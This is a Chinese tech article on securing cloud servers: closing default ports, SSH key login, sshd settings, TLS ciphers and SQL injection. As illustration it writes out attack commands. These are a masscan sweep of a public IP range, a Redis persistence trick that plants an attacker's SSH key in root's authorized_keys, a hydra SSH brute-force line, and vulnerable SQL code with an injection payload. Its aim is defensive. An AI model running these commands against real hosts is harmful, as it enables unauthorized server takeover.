作者 | 阿文
责编 | maozz
出品 | CSDN(ID:CSDNnews)
随着虚拟化技术的蓬勃发展,近几年云计算产业规模不断壮大,各行业的数据量激增,通过云计算挖掘数据价值,以及企业IT基础架构向云迁移已经成为主流趋势。
国务院发展研究中心国际技术经济研究所近日发布的《中国云计算产业发展白皮书》显示,2018年中国云计算产业规模已经达到962.8亿元;预计2023年,中国云计算产业规模将超过3000亿元。
大量的企业将数据迁移到云上,带来的网络安全问题却日益凸显,以云计算行业巨头阿里云为例,每天遭受攻击的次数就高达 50 亿次,这些攻击包括通过系统漏洞进行提权、DDOS攻击、CC 攻击、暴力破解,入侵成功对数据进行加密、植入木马或挖矿程序等手段非法牟利。
那么企业上云后应该做哪些工作,才能避免被入侵而造成的不可估量的损失呢?
作为一名云计算行业的从业者,我见过太多企业的服务器被入侵后遭受严重损失的案例,在这里,我在这里和大家分享以下上云后的安全防护应该如何做。
首先,大家要纠正一个观念,那就是上云并非万事大吉了。云计算提供的弹性伸缩和水平扩容大大缩减了企业运维人员的工作提升了效率,例如不用大老远的跑到机房去升级操作系统、扩容硬件了。
但是对于操作系统自身的安全问题我相信任何一家云计算公司都不敢打包票说你买了我们的服务器就绝对不会遭受任何攻击。一般他们会提供安全防护类的产品或建议,但是实际的安全策略部署还是需要自己去完成。
购买服务器后的当务之急
那么当你在云厂商购买一台服务器之后,你必须要做的事情就是:
第一,修改你的远程连接端口,例如 windows 的 3389,Linux 的 22 端口。应用服务尽量不要对公网开放,尤其是中间件服务,除了 web 服务所提供的 80,443 端口之外都应该尽量不要对公网开放默认端口,例如 MySQL 的 3306 ,Redis 的 6379 等等。
因为互联网上大量的入侵都是首先扫描到开放这些默认端口的机器,然后在探测是否存在已知的漏洞进而发起攻击。
举个例子,假如入侵者想入侵 redis 3.0 以下版本的 redis,攻击者可以通过 nmap 或 masscan 这类扫描攻击扫描某一个 IP 段是否开放以及根据你的服务器特征探测你的服务器是 Linux 还是 Windows来选择以何种方式发起攻击,以 masscan 为例,探测49.111.0.0/16网段内是否有 redis 服务开启默认 6379 端口。
masscan -p6379 49.111.0.0/16 --rate 10000 >> scan.txt
然后获取到该网段开放了 6379 端口的 IP,并进行下一步判断其是否有设置密码,版本是否是 3.0 以下。执行如下命令即可查看这台 redis 的相关信息
./redis-cli -h IP info
然后判断是否设置了密码,如果没有设置密码,通过 redis 的持久化机制将入侵者的公钥写入到/.ssh 目录
>config set dir /root/.ssh/
OK
> config set dbfilename authorized_keys
OK
> set xxx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWuati70x2tsLBJ6FxDgK5NnRhUiIYMHEL9Nt0cwtOvlc8it7Ta9uSzQX6RV3hpF0Txg8/ARZaq75JyzN+1jsNh35mR49YWJloU8FbiI28IjdKAVvCOcAd/WWsPWrRIJPG38Z8Bu2xXBsNCmMwOtPd6VL4k9j6xmeA52PLe4wBJHZbGkPrbTxd7TTtvuWWmbx0dzvXBYCIalhVOJ7u5471tMBoCFGCYh5V8lzS0c4Hm3tf5SuQ8G3vWP8fLE6iUGen9rqBu+QNSxlYJSwz+O5T/ErFTFPZI3USQM7th1r6iY/Z8O7AzZlhXzPCHKcd/+8mzcEJ1JFU8m9gXgF6JwER ubuntu@ubuntu-xenial\n\n\n"
OK
> save
遭遇攻击后应该怎么办?
如果你恰好 root 权限开放的,那么你这台服务器就成功被入侵者提权了。从上面这个例子中,我们要防止这样的入侵案例发生,除了修改默认端口还是远远不够的。还需要养成定期更新你的系统和应用软件,因为旧版本软件大多都会存在漏洞被攻击者利用。
另外就是尽量不要以管理员权限运行一些应用程序,例如Linux 使用 root 这样的权限去运行程序。要以一个普通用户运行指定程序,防止被提权。
禁止密码登录,改为更安全的密钥登录。密钥采用rsa非对称加密算法,并设置大于 2048 位以上密钥,安全系数更高。因为如果采用密码登录,入侵者只要密码字典足够强大,机器运算能力够强是可以非常轻松的破解的,例如通过 hydra 来暴力破解密码
hydra -s 22 -v -l root -P pass.txt 49.111.95.153 ssh
以 Linux 为例,修改/etc/ssh/sshd_config 中的
PermitRootLogin yes 为 no
LoginGraceTime 30
PasswordAuthentication yes 为 no
MaxAuthTries 3 # 限制最大重试次数
Protocol 2
`LoginGraceTime` 允许一次登录花费 30 秒;如果用户花费的时间超过 30 秒,就不允许他访问,必须重新登录。`MaxAuthTries` 把错误尝试的次数限制为 3 次,3 次之后拒绝登录尝试。上面的 `Protocol 2` 行禁止使用比较弱的协议。
最后一行不允许任何人作为根用户登录,这会让黑客攻击更困难。还可以使用 `DenyUsers`、`AllowUsers`、`DenyGroups` 和 `AllowGroups` 选项实现其他限制。这些修改不会显著增强计算机的安全性,但是只尝试强力攻击标准端口 22 的一般脚本会失败,不会造成损害。
第二,除非有必要,最小化对外暴露端口,千万不要将所有端口都设置端口放行为 0.0.0.0/0 这样的规则。这样就像皇帝的新装,完全把自己暴露在外面给人看的一干二净了。
除了 80、443 这样的必须要对外开放访问权限的端口,其他服务都在相对安全的内网环境中运行,这样的优势是除了提升了安全性还防止跨链路带来的带宽损耗,提升访问速度。例如web 服务调用后端 MySQL,如果通过公网访问,速度肯定不及同一个局域网内互相访问的快。
第四,自身程序的安全防护措施要做好,比如在设计系统时就要多考虑一下安全问题,例如防止被注入,可以通过 sqlmap 来扫描下自己的数据库是否存在被入侵的可能。例如如下代码段
uname = request.POST['username']
password = request.POST['password']
sql = "SELECT all FROM users WHERE username='" + uname + "' AND password='" + password + "'"
database.execute(sql)
上面这段程序直接将客户端传过来的数据写入到数据库。试想一下,如果用户传入的 password 值是:"password’ OR 1=1",那么 sql 语句便会变成:
sql = "SELECT all FROM users WHERE username='username' AND password='password' OR 1=1"
那么,这句 sql 无论 username 和 password 是什么都会执行,从而将所有用户的信息取出来。
同时还需要防止针对页面的一些攻击,例如 XSS 攻击、CSRF 跨域攻击等等。对于一些页面DNS 污染攻击,可以采用 HTTPS 来防止页面内容被篡改。在使用 HTTPS 时尽量使用 TLS1.2+版本的协议,并使用加密性非常好的算法。
ssl_ciphers EECDH+CHACHA20:EECDH+CHACHA20-draft:EECDH+ECDSA+AES128:EECDH+aRSA+AES128:RSA+AES128:EECDH+ECDSA+AES256:EECDH+aRSA+AES256:RSA+AES256:EECDH+ECDSA+3DES:EECDH+aRSA+3DES:RSA+3DES:TLS-CHACHA20-POLY1305-SHA256:TLS-AES-256-GCM-SHA384:TLS-AES-128-GCM-SHA256:EECDH+CHACHA20:EECDH+AESGCM:EECDH+AES:HIGH:!a:!e:!EXPORT:!DES:!RC4:!MD5:!PSK:!KRB5:!aECDH:!EDH+3DES;
第五,如果遭受 DDOS 攻击,可以考虑购买一些防护服务来解决,避免业务受损。
要防止被攻击不仅仅是做到如上这些,还应当加强对系统各项指标的监控,例如文件权限、系统利用率、日志采集等等措施,防范于未然。
声明:本文系作者独立观点,不代表CSDN立场。
【End】